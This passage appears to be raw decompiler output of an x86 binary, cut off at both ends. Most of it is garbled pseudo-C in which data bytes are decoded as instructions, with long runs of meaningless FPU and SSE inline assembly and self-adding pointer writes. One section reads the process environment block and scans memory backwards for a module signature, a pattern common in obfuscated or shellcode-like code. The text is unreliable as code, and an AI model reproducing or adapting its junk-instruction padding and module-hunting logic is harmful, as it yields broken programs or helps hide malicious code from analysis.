      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															__eflags =  *((intOrPtr*)(_t546 + 0x5a)) - _t402;
      																															asm("ror byte [ecx-0x6f367601], 1");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("paddsb xmm7, xmm6");
      																															asm("fclex");
      																															asm("movq xmm1, xmm1");
      																															asm("mfence");
      																															asm("movq mm4, mm2");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("fnop");
      																															_t603 = _t600;
      																															asm("fnop");
      																															asm("movd xmm0, eax");
      																															asm("fxch st0, st1");
      																															asm("fdecstp");
      																															asm("fxam");
      																															asm("pand xmm7, xmm3");
      																															asm("wait");
      																															asm("fclex");
      																															asm("psllw mm2, 0xae");
      																															asm("fnop");
      																															_t506 =  *((intOrPtr*)( *[fs:0x30] + 8));
      																															_t604 = _t603;
      																															asm("fnop");
      																															_t557 =  *_t506;
      																															asm("fnop");
      																															_t507 = _t506;
      																															asm("fnop");
      																															asm("fnop");
      																															asm("psrld mm0, 0x57");
      																															asm("pmullw xmm1, xmm1");
      																															asm("fldln2");
      																															asm("fldlg2");
      																															asm("fsqrt");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("fnop");
      																															_t560 = _t557;
      																															asm("pause");
      																															asm("psubw xmm2, xmm0");
      																															asm("pcmpgtb xmm3, xmm5");
      																															asm("packuswb mm1, mm3");
      																															asm("pcmpgtb xmm6, xmm6");
      																															asm("fdivrp st5, st0");
      																															asm("fnop");
      																															asm("fnop");
      																															_t562 = _t560;
      																															asm("fnop");
      																															_t509 =  *(_t507 + 0xa182abbb) & 0xffff0000;
      																															_t608 = _t604;
      																															asm("movd mm6, ebp");
      																															asm("ftst");
      																															asm("fst st0");
      																															asm("fabs");
      																															asm("fsin");
      																															asm("fsincos");
      																															asm("psubw xmm4, xmm4");
      																															asm("fnop");
      																															_t510 = _t509;
      																															do {
      																																_t510 = _t510 - 0x1000;
      																																asm("fnop");
      																																__eflags =  *_t510 - _t562;
      																															} while ( *_t510 != _t562);
      																															asm("wait");
      																															asm("fninit");
      																															asm("psrad mm0, mm3");
      																															asm("fxtract");
      																															asm("fcomp st0, st5");
      																															asm("fst st3");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("psrlw mm0, 0x43");
      																															asm("fyl2x");
      																															asm("psllq xmm1, 0x7f");
      																															asm("fsubrp st3, st0");
      																															asm("punpcklwd xmm2, xmm1");
      																															asm("psllw mm4, 0x29");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("fsubp st2, st0");
      																															asm("packuswb xmm4, xmm0");
      																															asm("fninit");
      																															asm("packssdw xmm2, xmm7");
      																															asm("fptan");
      																															asm("psubb xmm2, xmm3");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("fnop");
      																															asm("punpcklbw mm1, mm1");
      																															asm("lfence");
      																															asm("packsswb mm1, mm7");
      																															asm("psubusb mm1, mm0");
      																															asm("wait");
      																															asm("fclex");
      																															__eflags = 0x40;
      																															L187:
      																															goto L187;
      																														}
      																														_t623 =  *_t546 * 0;
      																														_t402 = _t402 + 0x6e694b01 ^  *[gs:eax];
      																														__eflags = _t402;
      																														L169:
      																														_t413 = _t402 + 0x84;
      																														_t623 = _t623 +  *((intOrPtr*)(_t677 + _t413));
      																														__eflags = _t623;
      																														L170:
      																														_push(es);
      																														_t402 = _t413 + 0x0000004a |  *_t600;
      																														asm("adc [edx], eax");
      																														 *_t501 =  *_t501 + 1;
      																														_push(_t677);
      																														asm("fild word [eax]");
      																														 *((intOrPtr*)(_t654 + 6)) =  *((intOrPtr*)(_t654 + 6)) + _t402;
      																														 *((intOrPtr*)(_t501 + 0x6e)) =  *((intOrPtr*)(_t501 + 0x6e)) + _t546;
      																														asm("popad");
      																														asm("insb");
      																														 *[fs:bx+si] =  *[fs:bx+si] + _t402;
      																														__eflags =  *[fs:bx+si];
      																														L171:
      																														asm("fild word [eax]");
      																														 *((intOrPtr*)(_t677 + _t623 * 2)) =  *((intOrPtr*)(_t677 + _t623 * 2)) + _t546;
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t402 =  *_t402 + _t402;
      																														_t368 = _t579 + 0x4d;
      																														 *_t368 =  *(_t579 + 0x4d) + _t402;
      																														__eflags =  *_t368;
      																														_t579 = _t579 + 1;
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t402 =  *_t402 + _t402;
      																														 *[ss:eax] =  *[ss:eax] + _t402;
      																														 *_t402 =  *_t402 + _t546;
      																														 *_t402 =  *_t402 + _t402;
      																														 *((intOrPtr*)(_t402 + 1)) =  *((intOrPtr*)(_t402 + 1)) + _t546;
      																														 *_t402 =  *_t402 + _t402;
      																														_push(_t600);
      																														 *_t402 =  *_t402 + _t402;
      																														__eflags =  *_t402;
      																														L173:
      																														 *_t546 =  *_t546 + _t402;
      																														 *_t402 =  *_t402 + _t579;
      																														__eflags =  *_t402;
      																														L174:
      																														asm("adc [eax], al");
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t402 =  *_t402 + _t402;
      																														asm("lock fiadd word [eax]");
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t402 =  *_t402 + _t402;
      																														 *_t623 =  *_t623 + _t579;
      																														__eflags =  *_t623;
      																														_pop(es);
      																														_push(ss);
      																														es = ss;
      																														_push(ss);
      																														_push(ss);
      																														goto L175;
      																													}
      																													asm("bound ebp, [edi+0x36]");
      																													 *_t623 =  *_t623 + _t402;
      																													 *_t623 =  *_t623 + _t402;
      																													_t336 = _t600 + 0x76;
      																													 *_t336 =  *(_t600 + 0x76) + _t546;
      																													__eflags =  *_t336;
      																													if( *_t336 < 0) {
      																														goto L169;
      																													}
      																													asm("lahf");
      																													_t417 = (_t402 ^  *_t402) + 0x4110269;
      																													 *_t579 =  *_t579 + _t579;
      																													asm("aas");
      																													_t501 = _t501 + _t501;
      																													 *_t417 =  *_t417 + _t417;
      																													 *((intOrPtr*)(_t579 + 0xa)) =  *((intOrPtr*)(_t579 + 0xa)) + _t417;
      																													 *((intOrPtr*)(_t623 + 0x65)) =  *((intOrPtr*)(_t623 + 0x65)) + _t417;
      																													_push(0x6c);
      																													_t654 =  *(_t623 + 0x76) * 0x357365;
      																													_t402 = _t417 + 0x72756801;
      																													__eflags = _t402;
      																													if(_t402 == 0) {
      																														goto L171;
      																													}
      																													 *((intOrPtr*)(_t546 + _t546 * 8)) =  *((intOrPtr*)(_t546 + _t546 * 8)) + _t402;
      																													_t546 = _t546 +  *((intOrPtr*)(_t501 + 0xa020307));
      																													_t413 = _t402 + 0xff004011;
      																													_t677 = _t677 +  *(_t413 + _t413);
      																													 *_t413 =  *_t413 + _t413;
      																													_t501 = _t501 + 1;
      																													_push(es);
      																													_t349 = _t546 + 0x6e + _t654 * 2;
      																													 *_t349 =  *(_t546 + 0x6e + _t654 * 2) + _t413;
      																													__eflags =  *_t349;
      																													asm("popad");
      																													if( *_t349 < 0) {
      																														goto L170;
      																													}
      																													 *_t623 =  *_t623 + _t413;
      																													_t355 = _t413 + _t413;
      																													 *_t355 =  *(_t413 + _t413) + _t413;
      																													__eflags =  *_t355;
      																													if(__eflags < 0) {
      																														goto L173;
      																													}
      																													if(__eflags != 0) {
      																														goto L174;
      																													}
      																													 *0x3990652 =  *0x3990652 + _t413;
      																													asm("hlt");
      																													_t677 = _t677 + _t623;
      																													 *_t579 =  *_t579 + _t579;
      																													__eflags =  *_t579;
      																													goto L167;
      																												}
      																												asm("outsd");
      																												if(__eflags < 0) {
      																													L159:
      																													_t501 = _t501 + _t501;
      																													_t654 = _t653 +  *_t546;
      																													 *_t402 =  *_t402 + _t402;
      																													_t334 = _t546 + 9;
      																													 *_t334 =  *(_t546 + 9) + _t402;
      																													__eflags =  *_t334;
      																													goto L160;
      																												}
      																												if(__eflags == 0) {
      																													L157:
      																													_t402 = _t401 + 0x3d1204b4;
      																													_t502 = _t501 + _t501;
      																													_t653 = _t652 +  *_t402;
      																													 *_t402 =  *_t402 + _t402;
      																													 *((intOrPtr*)(_t402 + 7)) =  *((intOrPtr*)(_t402 + 7)) + _t402;
      																													 *((intOrPtr*)(_t623 + 0x69)) =  *((intOrPtr*)(_t623 + 0x69)) + _t402;
      																													asm("a16 jnz 0x75");
      																													asm("aaa");
      																													 *((intOrPtr*)(_t546 + _t402)) =  *((intOrPtr*)(_t546 + _t402)) + _t402;
      																													_pop(es);
      																													 *((intOrPtr*)(_t546 + 0x4c)) =  *((intOrPtr*)(_t546 + 0x4c)) + _t402;
      																													_push(_t402);
      																													_t623 = _t623 - 1;
      																													_t546 = _t546;
      																													__eflags = _t546;
      																													_push(_t502);
      																													 *((intOrPtr*)(_t502 + _t600 * 8)) =  *((intOrPtr*)(_t502 + _t600 * 8)) + _t402;
      																													 *_t546 =  *_t546 + _t579;
      																													_t677 = _t673 +  *((intOrPtr*)(_t402 + 0x1100f607));
      																													_t501 = _t502 + _t502;
      																													__eflags = _t501;
      																													goto L159;
      																												}
      																												 *((intOrPtr*)(_t546 + _t402)) =  *((intOrPtr*)(_t546 + _t402)) + _t402;
      																												_pop(es);
      																												_t315 = _t653 + 0x69;
      																												 *_t315 =  *(_t653 + 0x69) + _t546;
      																												__eflags =  *_t315;
      																												asm("gs outsb");
      																												if ( *_t315 >= 0) goto L153;
      																												_t421 = _t402 + 0xfd;
      																												_pop(es);
      																												_push(0xc5035906);
      																												_push(es);
      																												asm("adc [eax+eax], edi");
      																												 *_t501 =  *_t501 + 1;
      																												_t401 = _t421 & 0x00000000;
      																												__eflags = _t401;
      																												 *_t401 =  *_t401 + _t401;
      																												 *_t600 =  *_t600 + _t501;
      																												_push(es);
      																												_t317 = _t501 + 0x79;
      																												 *_t317 =  *(_t501 + 0x79) + _t579;
      																												__eflags =  *_t317;
      																												_push(0x6003861);
      																												_push(0x6003861);
      																												 *((intOrPtr*)(_t401 + _t401)) =  *((intOrPtr*)(_t401 + _t401)) + _t401;
      																												asm("outsb");
      																												asm("outsd");
      																												asm("outsb");
      																												asm("insd");
      																												 *0x48a04ca =  *0x48a04ca + _t401;
      																												_t579 = _t579 - 1;
      																												__eflags = _t579;
      																												goto L157;
      																											}
      																											if (__eflags >= 0) goto L143;
      																											_push(es);
      																											 *_t623 =  *_t623 + _t402;
      																											__eflags =  *_t623;
      																											L144:
      																											 *((intOrPtr*)(_t579 + 0x75)) =  *((intOrPtr*)(_t579 + 0x75)) + _t402;
      																											asm("a16 jz 0x71");
      																											 *_t402 =  *_t402 ^ _t402;
      																											_t400 =  *0x12067006;
      																											__eflags =  *_t400 - _t400;
      																											 *_t501 =  *_t501 + 1;
      																											asm("daa");
      																											 *_t400 =  *_t400 + _t400;
      																											 *((intOrPtr*)(_t623 + _t400)) =  *((intOrPtr*)(_t623 + _t400)) + _t501;
      																											_t306 = _t546 + 0x67;
      																											 *_t306 =  *(_t546 + 0x67) + _t400;
      																											__eflags =  *_t306;
      																											goto L145;
      																										}
      																										asm("insd");
      																										if(__eflags < 0) {
      																											goto L138;
      																										}
      																										_t654 =  *(_t623 + 0x67) * 0x6010400;
      																										 *((intOrPtr*)(_t654 + 0x74 + _t623 * 2)) =  *((intOrPtr*)(_t654 + 0x74 + _t623 * 2)) + _t546;
      																										_t677 =  *(_t546 + 0x31) * 0x2d90400;
      																										_push(es);
      																										asm("adc [eax+eax], esi");
      																										 *_t501 =  *_t501 + 1;
      																										_t431 = ((_t400 ^ 0x92060506) & 0x37000000) + 0x6e655300;
      																										 *[ss:0x601] =  *[ss:0x601] + _t431;
      																										 *((intOrPtr*)(_t431 + 0x65)) =  *((intOrPtr*)(_t431 + 0x65)) + _t579;
      																										asm("bound ebp, [ebx+0x61]");
      																										_t433 = (_t431 ^ 0x00000000) + 0x2440775;
      																										__eflags = _t433;
      																										L132:
      																										asm("cmc");
      																										_pop(es);
      																										asm("outsb");
      																										_t579 = _t579 +  *_t579;
      																										_t427 = _t433 ^ 0x2b03ff00;
      																										 *_t427 =  *_t427 + _t427;
      																										 *_t427 =  *_t427 + _t501;
      																										 *_t427 =  *_t427 | _t427;
      																										__eflags =  *_t427;
      																										if (__eflags >= 0) goto L141;
      																										L133:
      																										if(__eflags >= 0) {
      																											goto L141;
      																										}
      																										asm("popad");
      																										asm("insb");
      																										_t623 =  *(_t501 + 0x65) * 0x9010400;
      																										_t283 = _t600 + 0x64;
      																										 *_t283 =  *(_t600 + 0x64) + _t546;
      																										__eflags =  *_t283;
      																										L135:
      																										asm("outsd");
      																										asm("gs insb");
      																										if(__eflags >= 0) {
      																											goto L144;
      																										}
      																										_t651 =  *(_t623 + 0x67) * 0x4a70400;
      																										__eflags = _t651;
      																										goto L137;
      																									}
      																									asm("outsb");
      																									if(__eflags == 0) {
      																										goto L129;
      																									}
      																									 *0x12103d9 =  *0x12103d9 + _t400;
      																									__eflags =  *0x12103d9;
      																									if( *0x12103d9 == 0) {
      																										__eflags = _t400 - 0x311206;
      																									}
      																									_push(es);
      																									asm("adc dh, [ecx]");
      																									_t501 = _t501 + _t501;
      																									_t654 = _t651 +  *_t579;
      																									 *_t400 =  *_t400 + _t400;
      																									 *((intOrPtr*)(_t600 + _t400)) =  *((intOrPtr*)(_t600 + _t400)) + _t579;
      																									 *((intOrPtr*)(_t400 + 0x76)) =  *((intOrPtr*)(_t400 + 0x76)) + _t546;
      																									_t623 =  *(_t501 + 0x6c) * 0x4006c65;
      																									 *_t546 =  *_t546 + _t546;
      																									 *((intOrPtr*)(_t623 + 0x72)) =  *((intOrPtr*)(_t623 + 0x72)) + _t579;
      																									asm("o16 jz 0x76");
      																									_t677 =  *(_t546 + 0x62) * 0x6a;
      																									 *((intOrPtr*)(_t501 + _t546)) =  *((intOrPtr*)(_t501 + _t546)) + _t400;
      																									 *((intOrPtr*)(_t501 - 0x6dfc2eff)) =  *((intOrPtr*)(_t501 - 0x6dfc2eff)) + _t600;
      																									_t435 = _t400 + 0x00000011 ^  *(_t400 + 0x11);
      																									 *_t501 =  *_t501 + 1;
      																									 *_t435 =  *_t435 - _t435;
      																									 *_t435 =  *_t435 + _t435;
      																									_t433 = _t435 ^ 0x6f660006;
      																									__eflags = _t433;
      																									if(__eflags < 0) {
      																										goto L132;
      																									}
      																									if(__eflags >= 0) {
      																										goto L133;
      																									}
      																									 *_t623 =  *_t623 + _t433;
      																									 *_t546 =  *_t546 + _t546;
      																									_t270 = _t501 + 0x74;
      																									 *_t270 =  *(_t501 + 0x74) + _t579;
      																									__eflags =  *_t270;
      																									asm("gs insd");
      																									asm("insb");
      																									if(__eflags >= 0) {
      																										goto L135;
      																									}
      																									asm("aaa");
      																									 *0x2bc0886 =  *0x2bc0886 + _t433;
      																									asm("rol byte [eax], 1");
      																									_pop(_t600);
      																									_t400 = _t433 + 0xff003312;
      																									__eflags = _t400;
      																									goto L128;
      																								}
      																								es = 0x1040035;
      																								_t242 = _t501 + 0x6f;
      																								 *_t242 =  *(_t501 + 0x6f) + _t400;
      																								__eflags =  *_t242;
      																								asm("outsd");
      																								if( *_t242 < 0) {
      																									goto L120;
      																								}
      																								 *_t600 =  *_t600 | _t400;
      																								_t436 = _t400 + 0x2e110860;
      																								_t682 = _t673 +  *((intOrPtr*)(_t436 + _t436));
      																								 *_t436 =  *_t436 + _t436;
      																								 *0x6c615600 =  *0x6c615600 ^ _t436;
      																								asm("outsd");
      																								_t437 = _t436 ^ 0x00000000;
      																								_push(es);
      																								 *0x706f5400 =  *0x706f5400 + _t437;
      																								_t650 =  *(_t437 + _t437 + 5) * 0xfffffffd;
      																								asm("cdq");
      																								 *_t619 =  *_t619 + _t682;
      																								es = es;
      																								asm("adc ch, [edi]");
      																								_t501 = _t501 + _t501 +  *(_t501 + _t501) + _t501 + _t501 +  *(_t501 + _t501);
      																								_t438 = _t437 + 0x41545300;
      																								_push(_t682 +  *0x32000000);
      																								_t542 = _t542 - 1;
      																								 *((intOrPtr*)(_t542 + _t438)) =  *((intOrPtr*)(_t542 + _t438)) + _t438;
      																								_push(es);
      																								 *((intOrPtr*)(_t578 + 0x65)) =  *((intOrPtr*)(_t578 + 0x65)) + _t438;
      																								_t673 =  *(_t650 + 0x6e) * 0x64;
      																								 *((intOrPtr*)(_t438 + _t578 * 2)) =  *((intOrPtr*)(_t438 + _t578 * 2)) + _t438;
      																								 *_t578 =  *_t578 + _t578;
      																								_t400 = _t438 + 0x291075b;
      																								__eflags = _t400;
      																								goto L119;
      																							}
      																							 *((intOrPtr*)(_t542 + _t400)) =  *((intOrPtr*)(_t542 + _t400)) + _t400;
      																							 *_t400 =  *_t400 | _t400;
      																							_t501 = _t501 - 1;
      																							__eflags = _t501;
      																							if(__eflags != 0) {
      																								goto L115;
      																							}
      																							if(__eflags >= 0) {
      																								goto L116;
      																							}
      																							_t673 =  *(_t650 + 0x37) * 0;
      																							_pop(_t600);
      																							 *_t501 =  *_t501 + 1;
      																							_t443 = _t400 + 0x67d0820 -  *((intOrPtr*)(_t400 + 0x67d0820)) -  *((intOrPtr*)(_t400 + 0x67d0820 -  *((intOrPtr*)(_t400 + 0x67d0820))));
      																							 *_t443 =  *_t443 + _t443;
      																							_t444 = _t443 - 0x6353000a;
      																							asm("gs outsb");
      																							asm("o16 jnz 0x72");
      																							_t619 =  *_t542 * 0;
      																							_push(es);
      																							 *_t600 =  *_t600 + _t444;
      																							_t226 = _t444 + 0x61;
      																							 *_t226 =  *(_t444 + 0x61) + _t542;
      																							__eflags =  *_t226;
      																							asm("gs insd");
      																							asm("outsd");
      																							if ( *_t226 >= 0) goto L110;
      																							_t445 = _t444 + 0x8460574;
      																							__eflags = _t445;
      																							if(_t445 < 0) {
      																								L113:
      																								 *_t501 =  *_t501 + 1;
      																								_t447 = _t445 -  *_t445 &  *(_t445 -  *_t445);
      																								 *_t447 =  *_t447 + _t447;
      																								_t448 = _t447;
      																								_t501 = _t501 + 1;
      																								asm("outsd");
      																								asm("popad");
      																								asm("insb");
      																								 *((intOrPtr*)(_t542 + _t448)) =  *((intOrPtr*)(_t542 + _t448)) + _t448;
      																								_t400 = _t448;
      																								asm("popad");
      																								asm("arpl [edx+0x6f], si");
      																								 *((intOrPtr*)(_t400 * 4 - 0x1ffc10fb)) =  *((intOrPtr*)(_t400 * 4 - 0x1ffc10fb)) + _t400;
      																								 *((intOrPtr*)(_t600 + 6)) =  *((intOrPtr*)(_t600 + 6)) + _t501;
      																								asm("adc [eax+eax], ebp");
      																								 *_t501 =  *_t501 + 1;
      																								 *[es:eax] =  *[es:eax] + _t400;
      																								 *_t600 =  *_t600 + _t542;
      																								 *_t400 =  *_t400 | _t400;
      																								__eflags =  *_t400;
      																								goto L114;
      																							}
      																							asm("sbb [ebx], eax");
      																							L112:
      																							_t578 = _t578 +  *_t578;
      																							__eflags = _t578;
      																							goto L113;
      																						}
      																						if(__eflags < 0) {
      																							goto L106;
      																						}
      																						_t578 = _t578 +  *0x2d07d308;
      																						 *_t542 =  *_t542 | _t578;
      																						 *_t399 =  *_t399 + _t399;
      																						 *((intOrPtr*)(_t399 + _t399)) =  *((intOrPtr*)(_t399 + _t399)) - _t399;
      																						_push(_t619);
      																						_push(_t578);
      																						_t650 =  *(_t500 + 0x62) * 0x2e040032 - 1 + 1;
      																						 *_t619 =  *_t619 + _t399;
      																						 *_t619 =  *_t619 + _t399;
      																						 *((intOrPtr*)(_t578 + 0x75)) =  *((intOrPtr*)(_t578 + 0x75)) + _t399;
      																						asm("a16 jz 0x5");
      																						_t449 = _t399 + 0x16601d9;
      																						asm("rol byte [eax+ebp*8], cl");
      																						_push(es);
      																						asm("adc ah, [edi]");
      																						_t527 = _t500 + _t500 + _t500 + _t500;
      																						_t673 = _t673 +  *((intOrPtr*)(_t399 + _t399)) +  *_t619;
      																						 *_t449 =  *_t449 + _t449;
      																						 *_t578 =  *_t578 + _t542;
      																						asm("popad");
      																						_t452 = (_t449 + 0x74614600 ^  *(_t449 + 0x74614600)) + 1;
      																						__eflags = _t452;
      																						L102:
      																						_pop(es);
      																						_t209 = _t578 + 0x6f;
      																						 *_t209 =  *(_t578 + 0x6f) + _t452;
      																						__eflags =  *_t209;
      																						asm("a16 jae 0x77");
      																						asm("popad");
      																						if ( *_t209 <= 0) goto L103;
      																						_t501 = _t527 + _t600;
      																						_t455 = _t452 + 0x160;
      																						 *_t542 =  *_t542 | _t578;
      																						 *_t455 =  *_t455 - _t455;
      																						 *_t501 =  *_t501 + 1;
      																						_t456 = _t455 -  *_t455;
      																						 *_t456 =  *_t456 + _t456;
      																						_t445 = _t456 -  *_t600;
      																						_t211 = _t650 + 0x62 + _t619 * 2;
      																						 *_t211 =  *(_t650 + 0x62 + _t619 * 2) + _t578;
      																						__eflags =  *_t211;
      																						if(__eflags != 0) {
      																							goto L112;
      																						}
      																						asm("popad");
      																						if (__eflags == 0) goto L106;
      																						goto L105;
      																					}
      																					_t649 =  *(_t619 + 0x74) * 0x8010600;
      																					__eflags = _t649;
      																					L93:
      																					 *_t396 =  *_t396 + _t542;
      																					_t189 = _t600 + 0x65;
      																					 *_t189 =  *(_t600 + 0x65) + _t396;
      																					__eflags =  *_t189;
      																					asm("outsb");
      																					if( *_t189 >= 0) {
      																						goto L99;
      																					}
      																					asm("popad");
      																					asm("bound ebp, [esi]");
      																					_t457 = _t396 + 0x2560263;
      																					__eflags = _t542 -  *_t457;
      																					asm("stc");
      																					_t396 = _t457 + 0x12;
      																					__eflags = _t396;
      																					L95:
      																					asm("adc ah, [ebx]");
      																					_t528 = _t500 + _t500;
      																					_t673 = _t673 +  *0x26000000;
      																					__eflags = _t673;
      																					L96:
      																					_t460 = (_t396 & 0x26000000) + 0x50414400 - 1;
      																					_t630 = _t619 - 1;
      																					 *((intOrPtr*)(_t542 + _t460)) =  *((intOrPtr*)(_t542 + _t460)) + _t460;
      																					_push(es);
      																					 *((intOrPtr*)(_t542 + 0x4d)) =  *((intOrPtr*)(_t542 + 0x4d)) + _t542;
      																					_t650 = _t649 - 1;
      																					_push(_t650);
      																					_push(_t528);
      																					 *((intOrPtr*)(_t528 + _t630 * 2)) =  *((intOrPtr*)(_t528 + _t630 * 2)) + _t460;
      																					_t452 = _t460 + 0x62d07b2;
      																					asm("adc [eax+eax], esp");
      																					 *_t528 =  *_t528 + 1;
      																					asm("daa");
      																					 *_t452 =  *_t452 + _t452;
      																					 *_t600 =  *_t600 + _t452;
      																					 *_t452 =  *_t452 | _t452;
      																					_t594 = _t578 + 1;
      																					_push(_t594);
      																					_t542 = _t542 - 1 + _t528 + 1 - 1;
      																					_t527 = _t528 - 1;
      																					_push(_t527);
      																					_t619 = _t630 + 2;
      																					_push(_t594);
      																					 *_t619 =  *_t619 + _t452;
      																					 *((intOrPtr*)(_t452 + _t452)) =  *((intOrPtr*)(_t452 + _t452)) + _t452;
      																					_t578 = _t594 + 1;
      																					__eflags = _t578;
      																					asm("popad");
      																					if(_t578 < 0) {
      																						goto L102;
      																					}
      																					 *0x1de0710 =  *0x1de0710 + _t452;
      																					_pop(es);
      																					 *_t578 =  *_t578 | _t452;
      																					asm("adc ah, [0x2a03ff00]");
      																					 *_t452 =  *_t452 + _t452;
      																					__eflags =  *_t452;
      																					goto L98;
      																				}
      																				 *[fs:ecx+eax] =  *[fs:ecx+eax] + _t396;
      																				 *_t396 =  *_t396 | _t396;
      																				_t500 = _t499 + 1;
      																				__eflags = _t500;
      																				asm("outsd");
      																				asm("outsb");
      																				if(__eflags <= 0) {
      																					goto L91;
      																				}
      																				asm("outsb");
      																				if(__eflags == 0) {
      																					goto L93;
      																				}
      																				 *((intOrPtr*)(_t500 + _t649 * 8)) =  *((intOrPtr*)(_t500 + _t649 * 8)) + _t396;
      																				 *((intOrPtr*)(_t673 + _t396 + 0x22b0138)) =  *((intOrPtr*)(_t673 + _t396 + 0x22b0138)) + _t542;
      																				asm("adc [eax], esp");
      																				_t528 = _t500 + _t500;
      																				_t649 = _t649 +  *_t542;
      																				 *_t396 =  *_t396 + _t396;
      																				 *_t528 =  *_t528 + _t396;
      																				_push(es);
      																				_t172 = _t600 + 0x65;
      																				 *_t172 =  *(_t600 + 0x65) + _t396;
      																				__eflags =  *_t172;
      																				asm("outsb");
      																				if( *_t172 >= 0) {
      																					goto L96;
      																				}
      																				asm("popad");
      																				 *_t619 =  *_t619 + _t396;
      																				 *_t542 =  *_t542 + _t542;
      																				_t174 = _t649 + 0x6e;
      																				 *_t174 =  *(_t649 + 0x6e) + _t578;
      																				__eflags =  *_t174;
      																				if(__eflags == 0) {
      																					goto L95;
      																				}
      																				asm("popad");
      																				asm("arpl [eax+0x65], bp");
      																				if (__eflags >= 0) goto L89;
      																				_push(ss);
      																				_t614 = _t600 + _t578;
      																				_t462 = _t396 + 0x1ce2486;
      																				 *_t462 =  *_t462 + _t462;
      																				 *((intOrPtr*)(_t614 + _t462)) =  *((intOrPtr*)(_t614 + _t462)) + _t462;
      																				 *((intOrPtr*)(_t578 + 0x4c)) =  *((intOrPtr*)(_t578 + 0x4c)) + _t462;
      																				_t569 = _t542 - 1;
      																				_t619 = _t619 - 1;
      																				_t673 = _t673 + 1;
      																				_push(_t528);
      																				 *((intOrPtr*)(_t569 + _t462)) =  *((intOrPtr*)(_t569 + _t462)) + _t462;
      																				 *_t462 =  *_t462 | _t462;
      																				_push(_t528);
      																				_t396 = _t462 - 1;
      																				_push(_t614);
      																				_t542 = _t569 - 1;
      																				_push(_t396);
      																				_t649 = _t649 +  *_t578 - 1 + 1;
      																				_t600 = _t614 - 1;
      																				_push(_t649);
      																				 *((intOrPtr*)(_t542 + _t600 * 4)) =  *((intOrPtr*)(_t542 + _t600 * 4)) + _t396;
      																				_t578 = _t578 + 1 +  *(_t619 + 1);
      																				__eflags = _t578;
      																				goto L90;
      																			}
      																			if (__eflags >= 0) goto L81;
      																			_push(es);
      																			 *_t619 =  *_t619 + _t396;
      																			 *((intOrPtr*)(_t396 + 0x41)) =  *((intOrPtr*)(_t396 + 0x41)) + _t542;
      																			_push(_t578);
      																			_push(_t396);
      																			_t570 = _t542 - 1;
      																			 *0x1ab01eb =  *0x1ab01eb + _t396;
      																			_t463 =  *_t578 * 0xffffffd6;
      																			 *_t578 =  *_t578 + _t578;
      																			asm("sbb eax, 0x2603ff00");
      																		} else {
      																			asm("outsd");
      																			asm("insb");
      																			 *0x8580833 =  *0x8580833 + _t395;
      																			__eflags =  *0x8580833;
      																			goto L74;
      																		}
      																	}
      																} else {
      																	 *((intOrPtr*)(_t541 + _t393)) =  *((intOrPtr*)(_t541 + _t393)) + _t393;
      																	_t467 = _t393 |  *_t393;
      																	asm("outsb");
      																	_t640 = _t599[0x1b] * 0x6e697369;
      																	 *_t467 =  *_t467 ^ _t467;
      																	_t391 = _t467 + 0xc9 + _t575;
      																	__eflags = _t391;
      																	es = _t667;
      																	asm("insd");
      																	_pop(es);
      																	asm("enter 0x1107, 0x16");
      																	_t498 = _t497 + _t497;
      																	_t644 = _t640 +  *_t541;
      																	 *_t391 =  *_t391 + _t391;
      																	 *_t541 =  *_t541 + _t498;
      																	_pop(es);
      																	_t110 = _t575 + 0x6c;
      																	 *_t110 =  *(_t575 + 0x6c) + _t391;
      																	__eflags =  *_t110;
      																	asm("outsd");
      																	if(__eflags < 0) {
      																		L74:
      																		asm("rol dword [ebx], 0xa4");
      																		_t392 = _t391 + 0xff001912;
      																		_pop(es);
      																		 *((intOrPtr*)(_t541 + 0x66)) =  *((intOrPtr*)(_t541 + 0x66)) + _t392;
      																		_t645 =  *(_t541 + 0x65 + _t644 * 2) * 0x400;
      																		 *((intOrPtr*)(_t392 + _t392)) =  *((intOrPtr*)(_t392 + _t392)) + _t392;
      																		_push(_t498);
      																		_t499 = _t498 - 1;
      																		_push(_t645);
      																		_t673 = _t673 +  *0x1c000000 - 1;
      																		 *_t673 =  *_t673 + _t392;
      																		_t393 = _t392 + 0x6170123;
      																		asm("stc");
      																		_t575 = _t575 +  *_t541;
      																		asm("sbb al, [eax]");
      																		 *_t499 =  *_t499 + 1;
      																		 *[es:eax] =  *[es:eax] + _t393;
      																		 *0x6c620004 =  *0x6c620004 + _t499;
      																		__eflags =  *0x6c620004;
      																		L75:
      																		asm("bound ebp, [ebp+esi*2+0x65]");
      																	} else {
      																		if (__eflags >= 0) goto L65;
      																		 *_t391 =  *_t391 + _t541;
      																		 *((intOrPtr*)(_t575 + 0x4f)) =  *((intOrPtr*)(_t575 + 0x4f)) + _t541;
      																		_t531 = _t498 + 1 - 1;
      																		_t541 = es;
      																		_t667 = _t644 + 2;
      																		_push(_t575);
      																		 *0x1000173 =  *0x1000173 + _t391;
      																		asm("insb");
      																		goto L66;
      																	}
      																}
      															}
      														}
      													}
      												} else {
      													asm("gs insd");
      													 *0x825030e =  *0x825030e + _t391;
      													asm("insd");
      													_t619 = es;
      													_t575 = _t575 +  *_t575;
      													asm("adc [eax], eax");
      													 *_t497 =  *_t497 + 1;
      													_t389 = _t391;
      													 *_t389 =  *_t389 + _t389;
      													__eflags =  *_t389;
      													L52:
      													 *((intOrPtr*)(_t541 + _t541)) =  *((intOrPtr*)(_t541 + _t541)) + _t575;
